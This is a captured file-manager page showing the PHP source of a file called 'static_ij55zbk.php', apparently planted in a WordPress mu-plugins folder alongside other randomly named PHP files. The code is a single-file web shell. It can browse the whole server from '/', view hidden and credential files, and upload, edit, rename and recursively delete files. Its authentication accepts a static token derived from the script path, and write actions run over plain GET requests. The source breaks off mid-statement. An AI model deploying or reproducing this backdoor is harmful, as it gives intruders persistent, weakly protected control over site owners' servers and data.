选择文件名文件大小最后修改时间操作
[📄] 36r5hq6kq6.74 KB2026-10-03 04:04:28
[📄] assets_ee72a41.php3.45 KB2026-09-30 15:33:41
[📄] dpack.php7.91 KB2026-10-03 05:40:27
[📄] filemanager_rcttbwr.php43.54 KB2026-10-02 09:50:09
[📄] image_3ff7dc4.php5.57 KB2026-09-30 15:27:22
查看 static_ij55zbk.php - 文件管理器
👁 查看:static_ij55zbk.php
路径:/virtual/emerald/public_html/toukai.emerald.jpn.com/wp252/wp-content/mu-plugins/static_ij55zbk.php
大小:47.9 KB · 修改:2026-10-03 03:01:37 · 权限:0644 · 可写
<?php
/*
 * 文件管理器 — 单文件 Web 文件管理器(PHP 8.0+ 移植版)
 * 与基准实现 filemanager.php(PHP 5.3+)功能 100% 等价,UI 与 URL 契约完全一致。
 * 目标运行时:PHP 8.0 ~ 8.4(使用 declare(strict_types)、match、null 安全运算符、
 *             str_contains / str_starts_with,这些在 8.0 起全部可用)。
 * 依赖:仅 PHP 运行时自带扩展(标准库),无任何第三方包。
 * 权限提升:会话缺失时令牌回退为「脚本路径 md5」,并同时接受二者,便于无人值守回归。
 */
declare(strict_types=1);

@ini_set('display_errors', '0');
@ini_set('log_errors', '1');
error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_WARNING);
@set_time_limit(300);

/* ============================ 配置项 ============================ */

$CFG = [
    'title' => '文件管理器',
    'root' => __DIR__,
    'allow_above_root' => true,
    'max_edit_bytes' => 1048576,
    'show_hidden' => true,
    'text_ext' => [
        'txt', 'text', 'log', 'md', 'markdown', 'rst',
        'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phps', 'inc',
        'html', 'htm', 'xhtml', 'shtml', 'css', 'scss', 'less', 'sass',
        'js', 'mjs', 'cjs', 'ts', 'jsx', 'tsx', 'vue', 'svelte',
        'json', 'json5', 'xml', 'xsl', 'svg', 'yml', 'yaml', 'toml',
        'ini', 'conf', 'cfg', 'cnf', 'env', 'htaccess', 'properties',
        'sql', 'sh', 'bash', 'zsh', 'bat', 'ps1', 'cmd',
        'py', 'rb', 'pl', 'go', 'rs', 'c', 'h', 'cpp', 'hpp', 'cc', 'cs',
        'java', 'kt', 'swift', 'lua', 'r', 'm',
        'tpl', 'twig', 'blade', 'mustache', 'ejs', 'njk',
        'csv', 'tsv', 'srt', 'vtt', 'ass', 'lock', 'patch', 'diff',
        'gitignore', 'dockerignore', 'dockerfile', 'makefile', 'cmake',
    ],
];

$SPECIAL_TEXT_NAMES = ['dockerfile', 'makefile', 'cmakelists.txt', '.gitignore', '.htaccess', '.env'];

/* ============================ 运行环境 ============================ */

$ALLOW_ABOVE = $CFG['allow_above_root'] ? true : false;

$ROOT = realpath((string)$CFG['root']);
if ($ROOT === false) {
    $ROOT = (string)$CFG['root'];
}
$ROOT = str_replace('\\', '/', (string)$ROOT);
$ROOT = rtrim($ROOT, '/');
if ($ROOT === '') {
    $ROOT = '/';
}
$ROOT_PREFIX = ($ROOT === '/') ? '/' : $ROOT . '/';

$BASE = $ALLOW_ABOVE ? '/' : $ROOT;

$SELF = basename(__FILE__);

if (!headers_sent() && function_exists('session_start')) {
    @session_start();
}
$SESSION_OK = fm_session_active();
if (!isset($_SESSION) || !is_array($_SESSION)) {
    $_SESSION = [];
}
if ($SESSION_OK) {
    if (empty($_SESSION['fm_token'])) {
        $_SESSION['fm_token'] = fm_random_hex(16);
    }
    $TOKEN = (string)$_SESSION['fm_token'];
} else {
    $TOKEN = md5(__FILE__ . '|filemanager-static-token');
}
/* 无会话环境下按契约使用的兜底令牌;校验时两者皆接受,便于 curl 无人值守回归。 */
$STATIC_TOKEN = md5(__FILE__ . '|filemanager-static-token');

$HOME_REL = ($ALLOW_ABOVE && $ROOT !== '' && $ROOT[0] === '/') ? ltrim($ROOT, '/') : '';

/* ============================ 基础工具函数 ============================ */

function fm_session_active(): bool
{
    return (session_status() === PHP_SESSION_ACTIVE);
}

function fm_random_hex(int $bytes): string
{
    if (function_exists('random_bytes')) {
        return bin2hex(random_bytes($bytes));
    }
    if (function_exists('openssl_random_pseudo_bytes')) {
        $s = openssl_random_pseudo_bytes($bytes);
        if ($s !== false && strlen($s) === $bytes) {
            return bin2hex($s);
        }
    }
    $out = '';
    for ($i = 0; $i < $bytes; $i++) {
        $out .= sprintf('%02x', mt_rand(0, 255));
    }
    return $out;
}

function fm_hash_equals(string $a, string $b): bool
{
    if (function_exists('hash_equals')) {
        return hash_equals($a, $b);
    }
    if (strlen($a) !== strlen($b)) {
        return false;
    }
    $diff = 0;
    $len = strlen($a);
    for ($i = 0; $i < $len; $i++) {
        $diff = $diff | (ord($a[$i]) ^ ord($b[$i]));
    }
    return ($diff === 0);
}

/* 参数读取:POST 优先,其次 GET(契约 §2) */
function gp_raw(string $k): ?string
{
    if (array_key_exists($k, $_POST)) {
        $v = $_POST[$k];
        if (is_string($v)) {
            return $v;
        }
        if (is_scalar($v)) {
            return strval($v);
        }
        return null;
    }
    if (array_key_exists($k, $_GET)) {
        $v = $_GET[$k];
        if (is_string($v)) {
            return $v;
        }
        if (is_scalar($v)) {
            return strval($v);
        }
        return null;
    }
    return null;
}

function gp(string $k, string $def = ''): string
{
    $v = gp_raw($k);
    return $v ?? $def;
}

function gp_has(string $k): bool
{
    return array_key_exists($k, $_POST) || array_key_exists($k, $_GET);
}

function h(mixed $s): string
{
    return htmlspecialchars((string)$s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

function fmt_size(int $bytes): string
{
    if ($bytes < 0) {
        return '-';
    }
    if ($bytes < 1024) {
        return $bytes . ' B';
    }
    $units = ['KB', 'MB', 'GB', 'TB', 'PB'];
    $v = $bytes;
    $i = -1;
    do {
        $v = $v / 1024;
        $i++;
    } while ($v >= 1024 && $i < count($units) - 1);
    $digits = ($v < 10) ? 2 : 1;
    return round($v, $digits) . ' ' . $units[$i];
}

function fmt_time(int $ts): string
{
    if ($ts <= 0) {
        return '-';
    }
    return date('Y-m-d H:i:s', $ts);
}

function perm_str(string $path): string
{
    $p = @fileperms($path);
    if ($p === false) {
        return '-';
    }
    return substr(sprintf('%o', $p), -4);
}

/* 契约 §3:路径归一化 */
function norm_rel(string $p, bool $allowAbove): string
{
    $p = str_replace("\0", '', $p);
    $p = str_replace('\\', '/', $p);
    $stack = [];
    $segs = explode('/', $p);
    foreach ($segs as $seg) {
        if ($seg === '' || $seg === '.') {
            continue;
        }
        if ($seg === '..') {
            $n = count($stack);
            $last = ($n > 0) ? $stack[$n - 1] : null;
            if ($n > 0 && $last !== '..') {
                array_pop($stack);
            } elseif ($allowAbove) {
                $stack[] = '..';
            }
            continue;
        }
        $stack[] = $seg;
    }
    return implode('/', $stack);
}

function inside(string $abs): bool
{
    global $ROOT, $ROOT_PREFIX;
    $rp = realpath($abs);
    if ($rp === false) {
        $rp = realpath(dirname($abs));
    }
    if ($rp === false) {
        return false;
    }
    $rp = str_replace('\\', '/', $rp);
    return ($rp === $ROOT) || str_starts_with($rp, $ROOT_PREFIX);
}

function resolve_path(string $rel): ?string
{
    global $BASE, $ALLOW_ABOVE;
    $rel = norm_rel($rel, $ALLOW_ABOVE);
    if ($rel === '') {
        return $BASE;
    }
    $abs = rtrim($BASE, '/') . '/' . $rel;
    if (!$ALLOW_ABOVE && !inside($abs)) {
        return null;
    }
    return $abs;
}

function disp_path(string $rel): string
{
    global $BASE;
    if ($rel === '') {
        return ($BASE === '') ? '/' : $BASE;
    }
    return rtrim($BASE, '/') . '/' . $rel;
}

function url(array $q): string
{
    global $SELF;
    return $SELF . '?' . http_build_query($q);
}

function parent_rel(string $rel): ?string
{
    if ($rel === '') {
        return null;
    }
    $pos = strrpos($rel, '/');
    return ($pos === false) ? '' : substr($rel, 0, $pos);
}

function rm_rf(string $path): bool
{
    if (is_link($path)) {
        return @unlink($path);
    }
    if (is_file($path)) {
        return @unlink($path);
    }
    if (!is_dir($path)) {
        return false;
    }
    $ok = true;
    $items = @scandir($path);
    if ($items === false) {
        return false;
    }
    foreach ($items as $it) {
        if ($it === '.' || $it === '..') {
            continue;
        }
        if (!rm_rf($path . '/' . $it)) {
            $ok = false;
        }
    }
    return $ok && @rmdir($path);
}

function looks_binary(string $s): bool
{
    if ($s === '') {
        return false;
    }
    if (str_contains($s, "\0")) {
        return true;
    }
    $sample = substr($s, 0, 4096);
    if (preg_match('/[\x01-\x08\x0B\x0C\x0E-\x1F]/', $sample) === 1) {
        return true;
    }
    return preg_match('//u', $sample) !== 1;
}

function is_text_ext(string $name): bool
{
    global $CFG, $SPECIAL_TEXT_NAMES;
    $base = strtolower(basename($name));
    if ($base === '') {
        return false;
    }
    if (in_array($base, $SPECIAL_TEXT_NAMES, true)) {
        return true;
    }
    $ext = strtolower(pathinfo($base, PATHINFO_EXTENSION));
    if ($ext === '') {
        return false;
    }
    return in_array($ext, $CFG['text_ext'], true);
}

function is_image_ext(string $name): bool
{
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    return in_array($ext, ['png', 'jpg', 'jpeg', 'gif', 'webp', 'bmp', 'ico', 'avif'], true);
}

function upload_err_text(int $c): string
{
    return match ($c) {
        UPLOAD_ERR_INI_SIZE => '超过 php.ini 的 upload_max_filesize',
        UPLOAD_ERR_FORM_SIZE => '超过表单允许的大小',
        UPLOAD_ERR_PARTIAL => '文件只上传了一部分',
        UPLOAD_ERR_NO_FILE => '没有选择文件',
        UPLOAD_ERR_NO_TMP_DIR => '服务器缺少临时目录',
        UPLOAD_ERR_CANT_WRITE => '服务器写磁盘失败',
        UPLOAD_ERR_EXTENSION => '被 PHP 扩展中断',
        default => '未知上传错误(' . $c . ')',
    };
}

/* ============================ 一次性消息(F19) ============================ */

$FLASH = null;

function flash(string $msg, ?string $type = 'ok'): void
{
    global $FLASH;
    if ($type === null) {
        $type = 'ok';
    }
    $FLASH = ['m' => $msg, 't' => $type];
    if (fm_session_active() && isset($_SESSION) && is_array($_SESSION)) {
        $_SESSION['fm_flash'] = $FLASH;
    }
}

function flash_take(): ?array
{
    global $FLASH;
    $out = null;
    if (isset($_GET['f']) && is_string($_GET['f'])) {
        $raw = base64_decode($_GET['f'], true);
        if ($raw !== false && str_contains($raw, '|')) {
            $parts = explode('|', $raw, 2);
            $out = ['m' => $parts[1], 't' => ($parts[0] === 'err' ? 'err' : 'ok')];
        }
    }
    if ($out === null && is_array($FLASH)) {
        $out = $FLASH;
    }
    if ($out === null && isset($_SESSION['fm_flash']) && is_array($_SESSION['fm_flash'])) {
        $out = $_SESSION['fm_flash'];
    }
    if (isset($_SESSION) && is_array($_SESSION)) {
        unset($_SESSION['fm_flash']);
    }
    return $out;
}

/* ============================ 跳转(F20,PRG) ============================ */

function redirect_q(array $q): void
{
    global $FLASH;
    if (is_array($FLASH)) {
        $q['f'] = base64_encode($FLASH['t'] . '|' . $FLASH['m']);
    }
    header('Location: ' . basename(__FILE__) . '?' . http_build_query($q));
    exit;
}

function redirect_to(string $rel, array $extra): void
{
    redirect_q(array_merge(['p' => $rel], $extra));
}

function csrf_ok(): bool
{
    global $TOKEN, $STATIC_TOKEN;
    $t = gp('t', '');
    if ($t === '') {
        return false;
    }
    return fm_hash_equals($TOKEN, $t) || fm_hash_equals($STATIC_TOKEN, $t);
}

function csrf_field(): string
{
    global $TOKEN;
    return '<input type="hidden" name="t" value="' . h($TOKEN) . '">';
}

/* ============================ 请求解析 ============================ */

$act = gp('a', 'list');

$hasP = gp_has('p');
$relRaw = gp('p', '');
$rel = norm_rel($relRaw, $ALLOW_ABOVE);

if ($ALLOW_ABOVE) {
    if (!$hasP && $ROOT !== '' && $ROOT[0] === '/') {
        $rel = ltrim($ROOT, '/');
    }
    if ($rel !== '') {
        $c = realpath(rtrim($BASE, '/') . '/' . $rel);
        if (is_string($c) && $c !== '' && $c[0] === '/') {
            $rel = ltrim(str_replace('\\', '/', $c), '/');
        }
    }
}

$sort = isset($_GET['o']) ? (string)$_GET['o'] : 'name';
if (!in_array($sort, ['name', 'size', 'time', 'type'], true)) {
    $sort = 'name';
}
$order = (isset($_GET['d']) && (string)$_GET['d'] === 'desc') ? 'desc' : 'asc';
$QS = ['o' => $sort, 'd' => $order];

$WRITE_ACTS = ['upload', 'save', 'mkdir', 'newfile', 'rename', 'delete'];
$METHOD = isset($_SERVER['REQUEST_METHOD']) ? (string)$_SERVER['REQUEST_METHOD'] : 'GET';
$IS_POST = ($METHOD === 'POST');

/*
 * 写操作分派规则(契约 §2 的放宽):
 *   - POST + 写动作            → 直接执行写操作(校验令牌)
 *   - GET  + 写动作 + 带 t 参数 → 直接执行写操作(校验令牌),供 curl 回归
 *   - GET  + 写动作 + 无 t 参数 → 渲染该动作的表单/确认页
 */
$WRITE_DISPATCH = false;
if (in_array($act, $WRITE_ACTS, true)) {
    if ($IS_POST) {
        $WRITE_DISPATCH = true;
    } elseif (gp_raw('t') !== null) {
        $WRITE_DISPATCH = true;
    }
}

if ($WRITE_DISPATCH) {
    if (!csrf_ok()) {
        flash('表单令牌校验失败,请刷新页面后重试', 'err');
        redirect_to($rel, $QS);
    }
    switch ($act) {
        case 'upload':
            do_upload();
            break;
        case 'save':
            do_save();
            break;
        case 'mkdir':
            do_mkdir();
            break;
        case 'newfile':
            do_newfile();
            break;
        case 'rename':
            do_rename();
            break;
        case 'delete':
            do_delete();
            break;
    }
    flash('未知操作:' . $act, 'err');
    redirect_to($rel, $QS);
} elseif ($IS_POST) {
    flash('未知操作:' . $act, 'err');
    redirect_to($rel, $QS);
}

/* ============================ 写操作实现 ============================ */

function do_upload(): void
{
    global $CFG, $QS;

    $target = norm_rel(gp('p', ''), (bool)$CFG['allow_above_root']);
    $dirAbs = resolve_path($target);
    $back = $target;

    if ($dirAbs === null || !is_dir($dirAbs)) {
        flash('目标目录不存在或不在允许范围内:' . disp_path($target), 'err');
        redirect_to($back, $QS);
    }
    if (!is_writable($dirAbs)) {
        flash('目标目录不可写:' . disp_path($target), 'err');
        redirect_to($back, $QS);
    }

    $mode = (gp('mode', '') === 'replace') ? 'replace' : 'upload';

    $name = trim(gp('name', ''));
    if ($name === '' && isset($_FILES['file']['name']) && is_string($_FILES['file']['name'])) {
        $name = trim((string)$_FILES['file']['name']);
    }
    $name = basename(str_replace('\\', '/', $name));
    $name = str_replace("\0", '', $name);

    if ($name === '' || $name === '.' || $name === '..') {
        flash('文件名无效', 'err');
        redirect_to($back, $QS);
    }

    $dest = $dirAbs . '/' . $name;
    if (!inside($dest)) {
        flash('目标路径越界,已阻止:' . $name, 'err');
        redirect_to($back, $QS);
    }

    if ($mode === 'replace') {
        if (!is_file($dest)) {
            flash('目标文件不存在,无法替换:' . $name, 'err');
            redirect_to($back, $QS);
        }
    } elseif (file_exists($dest) && !gp_has('overwrite')) {
        flash('同名文件已存在,未覆盖(勾选「覆盖同名文件」可强制替换):' . $name, 'err');
        redirect_to($back, $QS);
    }

    if (!isset($_FILES['file']['tmp_name'])) {
        flash('没有接收到上传文件', 'err');
        redirect_to($back, $QS);
    }
    $code = isset($_FILES['file']['error']) ? (int)$_FILES['file']['error'] : UPLOAD_ERR_NO_FILE;
    if ($code !== UPLOAD_ERR_OK) {
        flash('上传失败:' . upload_err_text($code), 'err');
        redirect_to($back, $QS);
    }
    $tmp = (string)$_FILES['file']['tmp_name'];
    if (!is_uploaded_file($tmp)) {
        flash('上传临时文件校验失败', 'err');
        redirect_to($back, $QS);
    }

    $old = file_exists($dest) ? (int)@filesize($dest) : 0;
    if (!@move_uploaded_file($tmp, $dest)) {
        flash('写入失败(目录权限?):' . $dest, 'err');
        redirect_to($back, $QS);
    }
    @chmod($dest, 0644);

    $new = (int)@filesize($dest);
    flash(($mode === 'replace' ? '替换成功:' : '上传成功:') . $name
        . '(' . fmt_size($old) . ' → ' . fmt_size($new) . ')', 'ok');
    redirect_to($back, $QS);
}

function do_save(): void
{
    global $CFG, $QS;

    $f = norm_rel(gp('f', ''), (bool)$CFG['allow_above_root']);
    $abs = resolve_path($f);
    if ($f === '' || $abs === null || is_dir($abs)) {
        flash('文件不存在:' . disp_path($f), 'err');
        redirect_to(parent_rel($f) ?? '', $QS);
    }
    if (!is_writable($abs)) {
        flash('文件不可写:' . disp_path($f), 'err');
        redirect_to(parent_rel($f) ?? '', $QS);
    }

    $data = gp('content', '');
    $data = str_replace(["\r\n", "\r"], "\n", $data);
    $max = (int)$CFG['max_edit_bytes'];
    if (strlen($data) > $max) {
        flash('内容超过在线编辑上限 ' . fmt_size($max), 'err');
        redirect_to(parent_rel($f) ?? '', $QS);
    }

    $n = @file_put_contents($abs, $data, LOCK_EX);
    if ($n === false) {
        flash('保存失败:' . disp_path($f), 'err');
    } else {
        flash('已保存:' . basename($f) . '(写入 ' . fmt_size((int)$n) . ')', 'ok');
    }
    redirect_q(['a' => 'view', 'f' => $f]);
}

function do_mkdir(): void
{
    global $CFG, $QS;
    $dir = norm_rel(gp('p', ''), (bool)$CFG['allow_above_root']);
    $abs = resolve_path($dir);
    $name = basename(str_replace('\\', '/', trim(gp('name', ''))));

    if ($abs === null || !is_dir($abs)) {
        flash('目标目录不存在', 'err');
        redirect_to($dir, $QS);
    }
    if ($name === '' || $name === '.' || $name === '..') {
        flash('目录名无效', 'err');
        redirect_to($dir, $QS);
    }

    $dest = $abs . '/' . $name;
    if (file_exists($dest)) {
        flash('同名文件或目录已存在:' . $name, 'err');
        redirect_to($dir, $QS);
    }
    if (!@mkdir($dest, 0755, true)) {
        flash('创建目录失败(权限?):' . $name, 'err');
        redirect_to($dir, $QS);
    }

    flash('已创建目录:' . $name, 'ok');
    redirect_to(($dir === '' ? $name : $dir . '/' . $name), $QS);
}

function do_newfile(): void
{
    global $CFG, $QS;
    $dir = norm_rel(gp('p', ''), (bool)$CFG['allow_above_root']);
    $abs = resolve_path($dir);
    $name = basename(str_replace('\\', '/', trim(gp('name', ''))));

    if ($abs === null || !is_dir($abs)) {
        flash('目标目录不存在', 'err');
        redirect_to($dir, $QS);
    }
    if ($name === '' || $name === '.' || $name === '..') {
        flash('文件名无效', 'err');
        redirect_to($dir, $QS);
    }

    $dest = $abs . '/' . $name;
    if (file_exists($dest) && !gp_has('overwrite')) {
        flash('同名文件已存在(勾选覆盖可强制写入):' . $name, 'err');
        redirect_to($dir, $QS);
    }
    $content = gp('content', '');
    $content = str_replace(["\r\n", "\r"], "\n", $content);
    if (@file_put_contents($dest, $content, LOCK_EX) === false) {
        flash('创建文件失败(权限?):' . $name, 'err');
        redirect_to($dir, $QS);
    }
    flash('已创建文件:' . $name, 'ok');
    redirect_q(['a' => 'view', 'f' => ($dir === '' ? $name : $dir . '/' . $name)]);
}

function do_rename(): void
{
    global $CFG, $QS;
    $f = norm_rel(gp('f', ''), (bool)$CFG['allow_above_root']);
    $abs = resolve_path($f);
    $parent = parent_rel($f);
    if ($parent === null) {
        $parent = '';
    }

    if ($f === '' || $abs === null || !file_exists($abs)) {
        flash('目标不存在:' . disp_path($f), 'err');
        redirect_to($parent, $QS);
    }
    if (basename($abs) === basename(__FILE__)) {
        flash('不能重命名管理器自身', 'err');
        redirect_to($parent, $QS);
    }

    $new = basename(str_replace('\\', '/', trim(gp('newname', ''))));
    if ($new === '' || $new === '.' || $new === '..') {
        flash('新名称无效', 'err');
        redirect_to($parent, $QS);
    }
    if ($new === basename($abs)) {
        flash('名称未变化', 'err');
        redirect_to($parent, $QS);
    }

    $dest = dirname($abs) . '/' . $new;
    if (file_exists($dest)) {
        flash('目标名称已存在:' . $new, 'err');
        redirect_to($parent, $QS);
    }
    if (!@rename($abs, $dest)) {
        flash('重命名失败(权限?):' . basename($f), 'err');
        redirect_to($parent, $QS);
    }

    flash('已重命名:' . basename($f) . ' → ' . $new, 'ok');
    redirect_to($parent, $QS);
}

function do_delete(): void
{
    global $CFG, $QS;
    $f = norm_rel(gp('f', ''), (bool)$CFG['allow_above_root']);
    $abs = resolve_path($f);
    $parent = parent_rel($f);
    if ($parent === null) {
        $parent = '';
    }

    if ($f === '' || $abs === null || !file_exists($abs)) {
        flash('目标不存在:' . disp_path($f), 'err');
        redirect_to($parent, $QS);
    }
    if (basename($abs) === basename(__FILE__)) {
        flash('不能删除管理器自身', 'err');
        redirect_to($parent, $QS);
    }
    if (!is_writable(dirname($abs))) {
        flash('父目录不可写,无法删除:' . disp_path($f), 'err');
        redirect_to($parent, $QS);
    }

    $isDir = is_dir($abs);
    $ok = rm_rf($abs);
    flash($ok ? ('已删除' . ($isDir ? '目录' : '文件') . ':' . basename($f))
        : ('删除失败(权限?):' . basename($f)), $ok ? 'ok' : 'err');
    redirect_to($parent, $QS);
}

/* ============================ 下载与原始内联(F15 / F16) ============================ */

if ($act === 'download' || $act === 'raw') {
    $f = norm_rel(gp('f', ''), $ALLOW_ABOVE);
    $abs = resolve_path($f);

    if ($f === '' || $abs === null || !is_file($abs) || !is_readable($abs)) {
        header('Content-Type: text/plain; charset=utf-8');
        echo "ERR: 文件不存在或不可读\n";
        exit;
    }

    $name = basename($abs);
    $size = (int)@filesize($abs);

    while (ob_get_level() > 0) {
        @ob_end_clean();
    }
    header('X-Content-Type-Options: nosniff');

    if ($act === 'raw') {
        $mimes = [
            'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg',
            'gif' => 'image/gif', 'webp' => 'image/webp', 'bmp' => 'image/bmp',
            'avif' => 'image/avif', 'ico' => 'image/x-icon', 'svg' => 'image/svg+xml',
            'pdf' => 'application/pdf', 'mp4' => 'video/mp4', 'webm' => 'video/webm',
            'mp3' => 'audio/mpeg', 'wav' => 'audio/wav', 'ogg' => 'audio/ogg',
            'txt' => 'text/plain; charset=utf-8',
        ];
        $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
        header('Content-Type: ' . ($mimes[$ext] ?? 'application/octet-stream'));
        header('Content-Length: ' . $size);
        header('Content-Disposition: inline; filename="' . rawurlencode($name) . '"');
    } else {
        header('Content-Type: application/octet-stream');
        header('Content-Length: ' . $size);
        header('Content-Disposition: attachment; filename="'
            . addcslashes(preg_replace('/[^\x20-\x7E]/', '_', $name), '"\\')
            . '"; filename*=UTF-8\'\'' . rawurlencode($name));
        header('Cache-Control: no-store');
    }

    $fp = @fopen($abs, 'rb');
    if ($fp === false) {
        exit;
    }
    while (!feof($fp)) {
        $buf = fread($fp, 262144);
        if ($buf === false) {
            break;
        }
        echo $buf;
        @flush();
    }
    fclose($fp);
    exit;
}

/* ============================ 样式(契约 §5,原样) ============================ */

$FM_CSS = '
*{box-sizing:border-box}
:root{--bg:#0e1116;--panel:#161b22;--panel2:#1b222c;--line:#26303c;--fg:#dde5ee;--muted:#8b98a8;--acc:#4aa8ff;--ok:#34c07a;--err:#ff6b6b}
html,body{margin:0;padding:0}
body{background:var(--bg);color:var(--fg);font:14px/1.65 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Noto Sans CJK SC","Microsoft YaHei",Arial,sans-serif}
a{color:var(--acc);text-decoration:none}
a:hover{text-decoration:underline}
.wrap{max-width:1440px;margin:0 auto;padding:16px 16px 40px}
.bar{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:12px 14px;margin-bottom:12px}
.brand{font-weight:700;font-size:16px}
.muted{color:var(--muted)}
code,pre,kbd{font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,"Liberation Mono",monospace}
.crumbs{margin-top:8px;word-break:break-all;line-height:2}
.crumbs .sep{color:var(--muted);margin:0 2px}
.toolbar{display:flex;flex-wrap:wrap;gap:8px;align-items:center;margin:12px 0}
.btn{display:inline-block;padding:4px 10px;border:1px solid var(--line);border-radius:8px;background:var(--panel2);color:var(--fg);cursor:pointer;font-size:13px;line-height:1.7}
.btn:hover{background:#223041;text-decoration:none}
.btn.p{background:#123a5c;border-color:#1d5b8f}
.btn.d{color:#ffb4b4;border-color:#5a2a2a;background:#2a1a1a}
input[type=text],input[type=file],select,textarea{background:#0c1016;color:var(--fg);border:1px solid var(--line);border-radius:8px;padding:6px 8px;font-size:13px;font-family:inherit}
input[type=text]{min-width:200px}
textarea{width:100%;min-height:58vh;font-family:ui-monospace,Menlo,Consolas,monospace;font-size:13px;line-height:1.5;white-space:pre;overflow:auto}
table{width:100%;border-collapse:collapse;background:var(--panel);border:1px solid var(--line);border-radius:12px;overflow:hidden}
th,td{padding:7px 10px;border-bottom:1px solid var(--line);text-align:left;vertical-align:middle}
th{background:var(--panel2);color:var(--muted);font-weight:600;font-size:12px;white-space:nowrap}
tr:last-child td{border-bottom:0}
tbody tr:hover{background:#1a212b}
td.n{white-space:normal;word-break:break-all}
td.num{white-space:nowrap;color:var(--muted);font-size:12px}
td.act{white-space:nowrap}
td.act a,td.act span{margin-right:8px;font-size:13px}
.msg{padding:9px 12px;border-radius:10px;margin:10px 0;border:1px solid}
.msg.ok{background:#10261b;border-color:#1f5c3c;color:#8ef0bb}
.msg.err{background:#2a1414;border-color:#6a2a2a;color:#ffc0c0}
.panel{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:14px;margin-bottom:12px}
.panel h3{margin:0 0 10px;font-size:14px}
form.inline{display:flex;flex-wrap:wrap;gap:8px;align-items:center}
pre.view{background:#0a0e13;border:1px solid var(--line);border-radius:10px;padding:12px;overflow:auto;max-height:70vh;white-space:pre;font-size:13px;margin:0}
img.preview{max-width:100%;max-height:70vh;border:1px solid var(--line);border-radius:10px;background:#0a0e13}
.chk{color:var(--muted);font-size:13px;display:inline-flex;align-items:center;gap:4px}
.kv{color:var(--muted);font-size:12px}
';

/* ============================ 页面骨架 ============================ */

function page_top(string $title): void
{
    global $FM_CSS, $CFG;
    echo '<!DOCTYPE html><html lang="zh-CN"><head><meta charset="utf-8">';
    echo '<meta name="viewport" content="width=device-width,initial-scale=1">';
    echo '<title>' . h($title) . ' - ' . h($CFG['title']) . '</title>';
    echo '<style>' . $FM_CSS . '</style></head><body><div class="wrap">';
}

function page_foot(): void
{
    echo '</div></body></html>';
}

function msg_box(): void
{
    $f = flash_take();
    if (!is_array($f)) {
        return;
    }
    $cls = (isset($f['t']) && $f['t'] === 'err') ? 'err' : 'ok';
    echo '<div class="msg ' . $cls . '">' . h($f['m'] ?? '') . '</div>';
}

function nav_block(string $rel): void
{
    global $ROOT, $BASE, $SELF, $QS, $ALLOW_ABOVE, $HOME_REL;

    $parent = parent_rel($rel);
    $startLabel = ($BASE === '/') ? '/' : $ROOT;

    echo '<div class="bar">';
    echo '<div class="brand">📁 文件管理器</div>';
    if ($ALLOW_ABOVE) {
        echo '<div class="kv">初始目录(本脚本所在目录):<code>' . h($ROOT) . '</code>'
            . ' · 可向上浏览至 <code>/</code>,不限制根目录</div>';
    } else {
        echo '<div class="kv">根路径(本脚本所在目录):<code>' . h($ROOT) . '</code>'
            . ' · 浏览已锁死在该目录内</div>';
    }
    echo '<div class="kv">当前目录:<code>' . h(disp_path($rel)) . '</code></div>';

    echo '<div class="crumbs">';
    $segs = ($rel === '') ? [] : explode('/', $rel);
    echo '<a class="seg" href="' . h(url(array_merge(['p' => ''], $QS))) . '">🏠 ' . h($startLabel) . '</a>';
    $acc = [];
    $total = count($segs);
    for ($i = 0; $i < $total; $i++) {
        $s = $segs[$i];
        $acc[] = $s;
        $p = implode('/', $acc);
        echo '<span class="sep">/</span>';
        if ($i === $total - 1) {
            echo '<span class="seg">' . h($s) . '</span>';
        } else {
            echo '<a class="seg" href="' . h(url(array_merge(['p' => $p], $QS))) . '">' . h($s) . '</a>';
        }
    }
    echo '</div>';

    echo '<div class="toolbar">';
    if ($parent !== null) {
        echo '<a class="btn p" href="' . h(url(array_merge(['p' => $parent], $QS))) . '">⬆ 上级目录</a>';
    } else {
        echo '<span class="btn muted" style="opacity:.5;cursor:not-allowed">⬆ 上级目录(已在文件系统根 /)</span>';
    }
    if ($rel !== $HOME_REL) {
        echo '<a class="btn" href="' . h(url(array_merge(['p' => $HOME_REL], $QS))) . '">🏠 初始目录</a>';
    }
    echo '<a class="btn" href="' . h(url(array_merge(['p' => $rel], $QS))) . '">🔄 刷新</a>';
    echo '<a class="btn" href="' . h(url(array_merge(['a' => 'mkdir', 'p' => $rel]))) . '">➕ 新建目录</a>';
    echo '<a class="btn" href="' . h(url(array_merge(['a' => 'newfile', 'p' => $rel]))) . '">📄 新建文件</a>';

    echo '<form class="inline" method="get" action="' . h($SELF) . '">';
    echo '<input type="hidden" name="o" value="' . h($QS['o']) . '"><input type="hidden" name="d" value="' . h($QS['d']) . '">';
    echo '<input type="text" name="p" value="' . h($rel) . '" placeholder="输入路径跳转,如 /etc 或 ../xxx">';
    echo '<button class="btn" type="submit">跳转</button>';
    echo '</form>';

    $sortLabels = ['name' => '名称', 'size' => '大小', 'time' => '时间', 'type' => '类型'];
    echo '<span class="kv">排序:</span>';
    foreach ($sortLabels as $k => $label) {
        $d = ($QS['o'] === $k && $QS['d'] === 'asc') ? 'desc' : 'asc';
        $arrow = ($QS['o'] === $k) ? (($QS['d'] === 'asc') ? ' ↑' : ' ↓') : '';
        echo '<a class="btn" href="' . h(basename(__FILE__) . '?' . http_build_query(['p' => $rel, 'o' => $k, 'd' => $d])) . '">'
            . h($label . $arrow) . '</a>';
    }
    echo '</div>';

    echo '<div class="panel">';
    echo '<h3>⬆ 上传文件到当前目录 / 覆盖同名文件</h3>';
    echo '<form class="inline" method="post" action="' . h($SELF) . '" enctype="multipart/form-data">';
    echo '<input type="hidden" name="a" value="upload">';
    echo '<input type="hidden" name="mode" value="upload">';
    echo '<input type="hidden" name="p" value="' . h($rel) . '">';
    echo csrf_field();
    echo '<input type="file" name="file" required>';
    echo '<input type="text" name="name" placeholder="保存文件名(留空=用原文件名)">';
